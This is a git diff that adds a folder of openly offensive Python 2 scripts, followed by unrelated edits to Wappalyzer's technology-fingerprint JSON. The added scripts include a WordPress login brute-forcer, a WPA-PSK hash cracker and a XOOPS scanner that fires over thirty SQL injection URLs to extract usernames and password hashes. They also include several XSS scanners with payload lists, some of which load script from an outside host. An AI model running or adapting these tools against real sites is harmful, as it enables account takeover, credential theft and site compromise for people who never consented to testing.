+	proxy = 0
+	pass
+except:
+	print "\n[-] Proxy Failed"
+	proxy = 0
+	pass
+	
+try:
+	if verbose == 1:
+		print "[+] Verbose Mode On\n"
+except(NameError):
+	print "[-] Verbose Mode Off\n"
+	verbose = 0
+	pass
+	
+if sys.argv[1][:7] != "http://":
+	host = "http://"+sys.argv[1]
+else:
+	host = sys.argv[1]
+	
+print "[+] BruteForcing:",host
+print "[+] User:",sys.argv[2]
+
+try:
+  	words = open(sys.argv[3], "r").readlines()
+  	print "[+] Words Loaded:",len(words),"\n"
+except(IOError): 
+  	print "[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+  
+for word in words:
+	word = word.replace("\r","").replace("\n","")
+	login_form_seq = [
+     	('log', sys.argv[2]),
+     	('pwd', word),
+     	('rememberme', 'forever'),
+     	('wp-submit', 'Login >>'),
+		('redirect_to', 'wp-admin/')]
+	login_form_data = urllib.urlencode(login_form_seq)
+	if proxy != 0:
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+		opener = urllib2.build_opener(proxy_handler)
+	else:
+		opener = urllib2.build_opener()
+	try:
+		site = opener.open(host, login_form_data).read()
+	except(urllib2.URLError), msg:
+		print msg
+		site = ""
+		pass
+
+	if re.search("WordPress requires Cookies",site):
+		print "[-] Failed: WordPress has cookies enabled\n"
+		sys.exit(1)
+		
+	#Change this response if different. (language)
+	if re.search("<strong>ERROR</strong>",site) and verbose == 1:
+		print "[-] Login Failed:",word
+	else:
+		print "\n\t[!] Login Successfull:",sys.argv[2],word,"\n"
+		sys.exit(1)
+print "\n[-] Brute Complete\n"
+	
\ No newline at end of file
diff --git a/3rdparty/wordsplit.py b/3rdparty/wordsplit.py
new file mode 100644
index 0000000..00f76cd
--- /dev/null
+++ b/3rdparty/wordsplit.py
@@ -0,0 +1,54 @@
+#!/usr/bin/python
+#Wordlist Splitter
+
+#www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import sys, time
+
+if len(sys.argv) != 3:
+	print "\nUsage: ./wordsplit.py <wordlist> <num to split>"
+	print "Ex: ./wordsplit.py wordlist.txt 500\n"
+	sys.exit(1)
+
+print "\n d3hydr8:darkc0de.com WordSplitter v1.0"
+print "----------------------------------------"
+
+TIME_TO_WAIT = 0.5
+
+try:
+  	words = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  	print "\nError: Check your wordlist path\n"
+  	pass
+
+print "[+] Wordlist Loaded:",len(words),"words"
+print "[+] Splitting Point:",sys.argv[2]
+print "[+] Creating:",len(words) / int(sys.argv[2]) + 1,"wordlists"
+print "[+] Total Time:",len(words) * TIME_TO_WAIT / 60,"minutes"
+print "\n[+] Generating...\n"
+
+num = 1
+while len(words) != 0:
+	file = open(str(num)+".txt", "a")
+	for word in words[:int(sys.argv[2])]:
+		#print word.replace("\n","")
+		time.sleep(TIME_TO_WAIT)
+		file.writelines(word.replace("\n","").replace("\r","")+"\n")
+		words.remove(word)
+	print "\n[+] List:",str(num)+".txt done"
+	num +=1
+	file.close()
+	print "[+] Words Left:",len(words),"\n"
+print "\n[!] Wordlists Created:",num - 1 
+print "[-] Done\n"
+
+
+
+
+
+	
+	
+
+
+
diff --git a/3rdparty/wpacrack.py b/3rdparty/wpacrack.py
new file mode 100644
index 0000000..da423e2
--- /dev/null
+++ b/3rdparty/wpacrack.py
@@ -0,0 +1,41 @@
+#!/usr/bin/python
+#Cracks a 256-bit WPA-PSK hash (64 char) using wpa_passphrase
+#and a wordlist.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import md5, sys, commands, getopt, StringIO, re
+
+def gethash(word):
+	cmd = "wpa_passphrase "+sys.argv[2]+" "+word
+	out = StringIO.StringIO(commands.getstatusoutput(cmd)[1]).read()
+	hash = re.findall("[a-f0-9]"*64,out)
+	if len(hash) > 0:
+		return hash[0]
+
+if len(sys.argv) != 4:
+	print "Usage: ./wpacrack.py <hash> <ssid> <wordlist>"
+	sys.exit(1)
+
+if len(sys.argv[1]) != 64:
+  print "\nError: Hash length incorrect (64 char)\n"
+  sys.exit(1)
+	
+try:
+  words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  print "\nError: Check your wordlist path\n"
+  sys.exit(1)
+
+print "\n",len(words),"words loaded..."
+for word in words:
+	hash = gethash(word.replace("\n",""))
+	if sys.argv[1] == hash: 
+		print "Password is:",word
+
+	
+	
+
+
+
diff --git a/3rdparty/xoopscan.py b/3rdparty/xoopscan.py
new file mode 100644
index 0000000..5a3e869
--- /dev/null
+++ b/3rdparty/xoopscan.py
@@ -0,0 +1,76 @@
+#!/usr/bin/python
+#XOOPS Module SQL scanner, checks source for md5's
+
+#Uncomment line 63 for verbose mode. If md5 found
+#check manually.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, urllib2, re, time
+
+print "\n\t   d3hydr8[at]gmail[dot]com XOOPScan v1.0"
+print "\t------------------------------------------"
+
+sqls = ["modules/myAds/annonces-p-f.php?op=ImprAnn&lid=-1+union+select+1,pass,uid,uname,5,6,7,8,9,10,11,12,13+from+xoops_users+limit+1,1/*",
+	"modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*",
+	"modules/articles/index.php?cat_id=-1%20union%20select%201,2,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),4,5,6%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/articles/index.php?cat_id=-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),3,4%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/friendfinder/view.php?id=-1'%20union%20select%201,2,3,4,5,6,7,8,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/myads/index.php?pa=view&cid=-1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),3%20from%20xoops_users/*",
+	"modules/repository/viewcat.php?cid=111111%20union%20select%202,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass)%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/core/viewcat.php?cid=99999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass)%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/core/viewcat.php?cid=98989898%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass)%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/ecal/display.php?katid=-1%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),user,char(112,97,115,115,119,111,114,100,58),password),2%20from%20mysql.user/*",
+	"modules/tinyevent/index.php?op=show&id=999999%20union%20select%201,2,3,4,concat(char(117,115,101,114,110,97,109,101,45,45),uname,char(112,97,115,115,119,111,114,100,45,45),pass)%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/kshop/product_details.php?id=9999999%20union%20select%201,2,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),4,5,6,7,8,0,0,0,0%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/camportail/show.php?op=showcam&camid=999999%20union%20select%201,2,3,4,5,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),7,8,9,1,02,3,4,5,6%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/myalbum/viewcat.php?cid=9999999%20union%20select%201111,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass)%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/wfsection/print.php?articleid=9999999%20union%20select%201111,2222,3333,4444,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),6666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/zmagazine/print.php?articleid=9999999%20union%20select%201,2,3,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),5,6,7,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/rha7downloads/visit.php?cid=-1&lid=-1%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),2%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/wflinks/viewcat.php?cid=-1%20union%20select%202,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass)%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/jobs/index.php?pa=jobsview&cid=-1%20union%20select%203,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),1%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/flashgames/game.php?lid=-19/**/UNION/**/SELECT/**/0,1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*",
+	"modules/wfquotes/index.php?op=cat&c=1/**/UNION/**/SELECT/**/0,uname,pass,3,4,5/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*",
+	"modules/glossaire/glossaire-p-f.php?op=ImprDef&sid=999999%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),2,3%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/myconference/index.php?sid=-1%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass,char(98,105,116,101,114))%20from%20xoops_users%20where%20uid%20like%201/*",
+	"modules/myTopics/print.php?articleid=-9999999/**/union/**/select+1,char(112,115,101,114),0,concat(uname,0x3a,pass),0,char(117,115,101,114,110,97,109,101,58),0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,111,333,222,0,0,0,0/**/from%2F%2A%2A%2Fxoops_users/*%20where%20admin%201%200%201%20",
+	"modules/eEmpregos/index.php?pa=view&cid=-00000000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect+0,1,concat(uname,0x3a,pass)/**/from%2F%2A%2A%2Fxoops_users/*/*where%20admin%201=%202",
+	"modules/classifieds/index.php?pa=Adsview&cid=-00000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0x3a,0x3a,concat(uname,0x3a,pass)/**/from+xoops_users/*where%20admin%20-1",
+	"modules/glossaires/glossaires-p-f.php?op=ImprDef&sid=99999/**/union/**/select/**/000,pass,uname,pass/**/from/**/xoops_users/*where%20terme",
+	"modules/wfdownloads/viewcat.php?cid=999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect+000,concat(uname,0x3a,pass)/**/from%2F%2A%2A%2Fxoops_users/*where%20pass",
+	"modules/gallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from/**/xoops_users/*",
+	"modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/*",
+	"modules/tutorials/printpage.php?tid=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),1,concat(uname,0x3a,pass),3,4,5/**/from/**/xoops_users/*",
+	"modules/tutorials/index.php?op=printpage&tid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3/**/from/**/xoops_users/*",
+	"modules/dictionary/print.php?id=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),concat(uname,0x3a,pass)/**/from/**/xoops_users/*"]
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./xoopscan.py <site>"
+	print "Ex: ./xoopscan.py www.test.com\n"
+	sys.exit(1)
+
+host = sys.argv[1].replace("/index.php", "")
+if host[-1] != "/":
+	host = host+"/"
+if host[:7] != "http://":
+	host = "http://"+host
+	
+print "\n[+] Site:",host
+print "[+] SQL Loaded:",len(sqls) 
+
+print "[+] Starting Scan...\n" 
+for sql in sqls:
+	time.sleep(3) #Change this if needed
+	#print "[+] Trying:",host+sql.replace("\n","")
+	try:
+		source = urllib2.urlopen(host+sql.replace("\n","")).read()
+		md5s = re.findall("[a-f0-9]"*32,source)
+		if len(md5s) >= 1:
+			print "[!]",host+sql.replace("\n","")
+			for md5 in md5s:
+				print "\n[+]MD5:",md5
+	except(urllib2.HTTPError,urllib2.URLError):
+		pass
+print "\n[-] Done\n"
\ No newline at end of file
diff --git a/3rdparty/xss-scanner.py b/3rdparty/xss-scanner.py
new file mode 100644
index 0000000..87b57d4
--- /dev/null
+++ b/3rdparty/xss-scanner.py
@@ -0,0 +1,62 @@
+#!/usr/bin/python
+
+try:
+ from selenium import webdriver
+except:
+ print 'you have to install selenium module '
+ exit(1)
+import time
+import sys
+
+xss=[
+  ''';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
+alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
+></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>''',
+  '''<IMG SRC="javascript:alert('XSS');">''',
+  '''<IMG SRC=javascript:alert('XSS')> onerror=alert(1)''',
+  '''<IMG SRC=JaVaScRiPt:alert('XSS')> onerror=alert(1)''',
+  '''<IMG SRC=javascript:alert("XSS")> onerror=alert(1)''',
+  '''<IMG SRC=`javascript:alert("RSnake says, 'XSS'")` onerror=aler(1)>''',
+  '''<IMG """><SCRIPT>alert("XSS")</SCRIPT>">''',
+  '''<IMG SRC=javascript:alert(String.fromCharCode(88,83,83)) onerror=alert(String.fromCharCode(88,83,83)) >''',
+  '''%3CSCRIPT/XSS%20SRC=%22http://ha.ckers.org/xss.js%22%3E%3C/SCRIPT%3E''',
+  '''<<SCRIPT>alert("XSS");//<</SCRIPT>''',
+  '''<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >''',
+  '''<IMG SRC="javascript:alert('XSS')"''',
+  '''\";alert('XSS');//''',
+  '''</TITLE><SCRIPT>alert("XSS");</SCRIPT>''',
+  '''<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');" onerror=alert(1)>''',
+  '''<BODY BACKGROUND="javascript:alert('XSS')" onerror=alert('1');>''',
+  '''<BODY ONLOAD=alert('XSS')>''' 
+ ]
+
+if len(sys.argv)<=1:
+   print 'invalid args\n[=]usage',sys.argv[0],' www.site.com/file.php?get='
+   exit(1)
+else:
+   target=sys.argv[1]
+   if not (target.startswith("http://") or target.startswith("https://")):
+      print 'Wrong target , it should be starts with http:// or https://'
+      exit(1)
+   if not (target[-1] == '='):
+      print 'Wrong target , it should end with get parameter '
+      exit(1)
+
+
+driver = webdriver.Firefox()
+while len(xss)>0:
+  full_target=target+xss.pop()
+  
+  
+  #print 'Trying >>> ' ,full_target #uncomment of you want extra verbose  
+  
+  driver.get(full_target)
+  time.sleep(1)
+  try:
+    alert = driver.switch_to_alert()
+    alert.accept()
+    driver.switch_to_default_content()
+    print 'find vulne at ',full_target
+  except Exception,r:
+    #print r #uncomment if you want extra verbose 
+    pass
diff --git a/3rdparty/xssb3m.py b/3rdparty/xssb3m.py
new file mode 100644
index 0000000..9ee71c3
--- /dev/null
+++ b/3rdparty/xssb3m.py
@@ -0,0 +1,75 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+import re, urllib,urllib2, time, httplib, socket, sys, md5, locale
+from urllib2 import Request, urlopen, URLError, HTTPError
+from socket import *
+import threading
+from bs4 import BeautifulSoup
+import urlparse
+import mechanize
+import webbrowser
+import os
+
+
+
+print """
+
+DarkCode Series [o.o[
+
+XSS Finder V 0.1 / 08.05.2014
+
+Coder : B3mB4m
+
+
+"""
+
+
+hedef = raw_input("Target : ")
+
+
+url = hedef
+tarayici = mechanize.Browser()
+urls = [url]
+gez = [url]
+
+while len(urls)>0:
+    try:
+        tarayici.open(urls[0])
+        urls.pop(0)
+        for link in tarayici.links():
+            yeniurl =  urlparse.urljoin(link.base_url,link.url)
+            if yeniurl not in gez and url in yeniurl:
+                gez.append(yeniurl)
+                urls.append(yeniurl)
+                #print yeniurl
+                
+                if "id=" in yeniurl:
+                    purelink = yeniurl.split("=")
+                    xss = purelink[0]+"""='">><marquee><h1>B3mB4m</h1></marquee>"""
+                    uagent= {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)'}
+                    req = urllib2.Request(xss, headers=uagent)
+                    fd = urllib2.urlopen(xss)
+                    data= fd.read()
+                    if "B3mB4m" in data:
+                        print ""
+                        print "XSS FOUND !"
+                        print ""
+                        print xss
+                        ask = raw_input("You want open link ? y/n ")
+                        if ask == "y":
+                            webbrowser.open_new_tab(xss)
+                            urls =0
+                            sys.exit()
+                        else:
+                            continue
+                else:
+                   pass
+                 
+    except TypeError:
+        pass
+        #urls.pop(0)
+
+    
+        
+
+print "Finish.."
diff --git a/3rdparty/xssfinderb3mb4m.py b/3rdparty/xssfinderb3mb4m.py
new file mode 100644
index 0000000..f6ddbcb
--- /dev/null
+++ b/3rdparty/xssfinderb3mb4m.py
@@ -0,0 +1,70 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+import re, urllib,urllib2, time, httplib, socket, sys, md5, locale
+from urllib2 import Request, urlopen, URLError, HTTPError
+from socket import *
+import threading
+from bs4 import BeautifulSoup
+import urlparse
+import mechanize
+import webbrowser
+import os
+
+
+
+print """
+
+DarkCode Series !
+
+XSS Finder V 0.1
+
+Coder : B3mB4m
+
+"""
+
+
+hedef = raw_input("Target : ")
+
+
+url = hedef
+tarayici = mechanize.Browser()
+urls = [url]
+gez = [url]
+
+while len(urls)>0:
+    try:
+        tarayici.open(urls[0])
+        urls.pop(0)
+        for link in tarayici.links():
+            yeniurl =  urlparse.urljoin(link.base_url,link.url)
+            if yeniurl not in gez and url in yeniurl:
+                gez.append(yeniurl)
+                urls.append(yeniurl)
+                #print yeniurl
+                
+                if "id=" in yeniurl:
+                    purelink = yeniurl.split("=")
+                    #Hocama teşekkürler ^_^
+                    xss = purelink[0]+"""='">><marquee><h1>B3mB4m</h1></marquee>"""
+                    uagent= {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)'}
+                    req = urllib2.Request(xss, headers=uagent)
+                    fd = urllib2.urlopen(xss)
+                    data= fd.read()
+                    if "B3mB4m" in data:
+                        print "XSS FOUND !"
+                        print ""
+                        print xss
+                        urls =0
+                        sys.exit()
+    
+                else:
+                   pass
+                 
+    except TypeError:
+        pass
+        #urls.pop(0)
+
+    
+        
+
+print "Finish.."
diff --git a/3rdparty/xsstest.py b/3rdparty/xsstest.py
new file mode 100644
index 0000000..b629363
--- /dev/null
+++ b/3rdparty/xsstest.py
@@ -0,0 +1,121 @@
+#!/usr/bin/python 
+#Checks host against xss payloads by searching source
+#for XSS. (simple) 
+
+#Ver 1.1: Added Proxy Support
+ 
+#http://www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+import sys, urllib2, re, time, httplib, socket
+
+xss_ploads = ["%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E", 
+	"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
+	"'';!--\"<XSS>=&{()}",
+	"<IMG SRC=\"javascript:alert('XSS');\">",
+	"<IMG SRC=javascript:alert('XSS')>",
+	"<IMG SRC=JaVaScRiPt:alert('XSS')>",
+	"<IMG SRC=javascript:alert(&quot;XSS&quot;)>",
+	"<IMG SRC=`javascript:alert(\"is this, 'XSS'\")`>",
+	"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
+	"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
+	"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
+	"<IMG SRC=\"jav	ascript:alert('XSS');\">",
+	"<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
+	"<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
+	"<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
+	"perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out",
+	"perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out",
+	"<IMG SRC=\" &#14;  javascript:alert('XSS');\">",
+	"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
+	"<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
+	"<IMG SRC=\"javascript:alert('XSS')\"",
+	"<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>",
+	"\";alert('XSS');//",
+	"</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>",
+	"<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">",
+	"<BODY BACKGROUND=\"javascript:alert('XSS')\">",
+	"<BODY ONLOAD=alert('XSS')>",
+	"<IMG DYNSRC=\"javascript:alert('XSS')\">",
+	"<IMG LOWSRC=\"javascript:alert('XSS')\">",
+	"<BGSOUND SRC=\"javascript:alert('XSS');\">",
+	"<BR SIZE=\"&{alert('XSS')}\">",
+	"<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">",
+	"<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS",
+	"<IMG SRC='vbscript:msgbox(\"XSS\")'>",
+	"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">",
+	"<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">",
+	"<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
+	"<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
+	"<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
+	"<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">",
+	"<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
+	"<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">",
+	"<DIV STYLE=\"width: expression(alert('XSS'));\">",
+	"<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>",
+	"<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
+	"<XSS STYLE=\"xss:expression(alert('XSS'))\">",
+	"<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
+	"<BASE HREF=\"javascript:alert('XSS');//\">",
+	"<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>",
+	"<A HREF=\"http://1113982867/\">XSS</A>",
+	"<A HREF=\"http://www.google.com./\">XSS</A>"]
+
+def xss(payload):
+	print "Testing:",payload #Comment out if needed
+	try:
+		if proxy != 0:
+			proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
+			opener = urllib2.build_opener("http://"+host+payload, proxy_handler)
+			source = opener.open("http://"+host+payload).read()
+		else:
+			source = urllib2.urlopen("http://"+host+payload).read()
+		print "Source Length:",len(source) #Comment out if needed
+		if re.search("xss", source.lower()) != None: 
+			print "\n[!] XSS:",host+payload,"\n"
+		else: 
+			print "[-] Not Vuln." 
+	except(urllib2.HTTPError), msg:
+		print "[-] Error:",msg
+		pass
+
+print "\nd3hydr8[at]gmail[dot]com XSStest v1.1" 
+print "---------------------------------------" 
+ 
+if len(sys.argv) not in [2,4]: 
+	print "\nUsage: ./xsstest.py <site> <options>"
+	print "\t[options]"
+	print "\t   -p/-proxy <host:port> : Add proxy support"
+	print "ex: ./xsstest.py www.example.com/index.php?page= 20.15.4.76:3128\n"  
+	sys.exit(1) 
+ 
+host = sys.argv[1].replace("http://","") 
+if host[-1:] != "=": 
+	print "\n[-] Host should end with a \'=\'\n" 
+	sys.exit(1)
+	
+try:
+	if sys.argv[3]:
+		proxy = sys.argv[3]
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	proxy = 0
+	pass
+except(NameError):
+	print "\n[-] Proxy Not Given"
+	proxy = 0
+	pass
+except:
+	print "\n[-] Proxy Failed"
+	proxy = 0
+	pass
+print "\n[+] Scanning:",host
+print "[+] Loaded:",len(xss_ploads),"payloads\n"
+for payload in xss_ploads:
+	time.sleep(5) #Change this in seconds, if needed
+	xss(payload.replace("\n",""))
+print "\n[+] Done\n" 
\ No newline at end of file
diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OmniTouch 8660 My Teamwork.png b/Wappalyzer/drivers/bookmarklet/images/icons/OmniTouch 8660 My Teamwork.png
new file mode 100644
index 0000000..012c09d
Binary files /dev/null and b/Wappalyzer/drivers/bookmarklet/images/icons/OmniTouch 8660 My Teamwork.png differ
diff --git a/Wappalyzer/drivers/bookmarklet/json/apps.json b/Wappalyzer/drivers/bookmarklet/json/apps.json
index 48473c2..8e20fc1 100644
--- a/Wappalyzer/drivers/bookmarklet/json/apps.json
+++ b/Wappalyzer/drivers/bookmarklet/json/apps.json
@@ -190,7 +190,7 @@
 		"Akamai": {
 			"website": "akamai.com",
 			"cats": [ 31 ],
-			"headers": { "X-Akamai-Transformed": ".*" }
+			"headers": { "X-Akamai-Transformed": "" }
 		},
 		"Allegro RomPager": {
 			"website": "allegrosoft.com/embedded-web-server-s2",
@@ -312,7 +312,7 @@
 			"website": "jfrog.com/open-source/#os-arti",
 			"cats": [ 47 ],
 			"env": "^ArtifactoryUpdates$",
-			"script": [ "wicket/resource/org\\.artifactory." ],
+			"script": [ "wicket/resource/org\\.artifactory\\." ],
 			"html": [ "<span class=\"version\">Artifactory(?: Pro)?(?: Power Pack)?(?: ([\\d.]+))?\\;version:\\1" ]
 		},
 		"AsciiDoc": {
@@ -342,8 +342,8 @@
 			"website": "www.atlassian.com/software/confluence/overview/team-collaboration-software",
 			"cats": [ 8 ],
 			"html": "Powered by <a href=[^>]+atlassian\\.com/software/confluence(?:[^>]+>Atlassian Confluence</a> ([\\d.]+))?\\;version:\\1",
-			"headers": { "X-Confluence-Request-Time": ".*" },
-			"meta": { "confluence-request-time": ".*" },
+			"headers": { "X-Confluence-Request-Time": "" },
+			"meta": { "confluence-request-time": "" },
 			"implies": "Java"
 		},
 		"Atlassian Jira": {
@@ -547,7 +547,7 @@
 		"Cargo": {
 			"website": "cargocollective.com",
 			"cats": [ 1 ],
-			"meta": { "cargo_title": ".*" },
+			"meta": { "cargo_title": "" },
 			"script": "/cargo\\.",
 			"html": "<link [^>]+Cargo feed",
 			"implies": "PHP"
@@ -575,7 +575,7 @@
 		"CacheFly": {
 			"website": "www.cachefly.com",
 			"cats": [ 31 ],
-			"headers": { "Server": "^CFS ", "X-CF1": ".+", "X-CF2": ".+" }
+			"headers": { "Server": "^CFS ", "X-CF1": "", "X-CF2": "" }
 		},
 		"cgit": {
 			"website": "git.zx2c4.com/cgit/",
@@ -688,7 +688,7 @@
 		"Commerce Server": {
 			"website": "commerceserver.net",
 			"cats": [ 6 ],
-			"headers": { "COMMERCE-SERVER-SOFTWARE": ".+" },
+			"headers": { "COMMERCE-SERVER-SOFTWARE": "" },
 			"implies": "Microsoft ASP.NET"
 		},
 		"CompaqHTTPServer": {
@@ -867,11 +867,6 @@
 			"meta": { "generator": "DataLife Engine" },
 			"implies": [ "PHP", "Apache" ]
 		},
-		"DAV": {
-			"website": "???",
-			"cats": [ 33 ],
-			"headers": { "Server": "\\bDAV\\b(?:/([\\d.]+))?\\;version:\\1" }
-		},
 		"David Webbox": {
 			"website": "www.tobit.com",
 			"cats": [ 22 ],
@@ -986,7 +981,7 @@
 			"cats": [ 1 ],
 			"meta": { "generator": "DotNetNuke" },
 			"script": "/js/dnncore\\.js",
-			"headers": { "DNNOutputCache": ".+", "X-Compressed-By": "DotNetNuke", "Set-Cookie": "DotNetNukeAnonymous=" },
+			"headers": { "DNNOutputCache": "", "X-Compressed-By": "DotNetNuke", "Set-Cookie": "DotNetNukeAnonymous=" },
 			"html": "<!-- by DotNetNuke Corporation",
 			"env": "^DotNetNuke$",
 			"implies": "Microsoft ASP.NET"
@@ -1013,7 +1008,7 @@
 			"cats": [ 1 ],
 			"script": "drupal\\.js",
 			"html": "<(?:link|style)[^>]+sites/(?:default|all)/(?:themes|modules)/",
-			"headers": { "X-Drupal-Cache": ".*", "X-Generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1", "Expires": "19 Nov 1978" },
+			"headers": { "X-Drupal-Cache": "", "X-Generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1", "Expires": "19 Nov 1978" },
 			"meta": { "generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1" },
 			"env": "^Drupal$",
 			"implies": "PHP"
@@ -1169,7 +1164,8 @@
 		"Koala Framework": {
 			"website": "koala-framework.org",
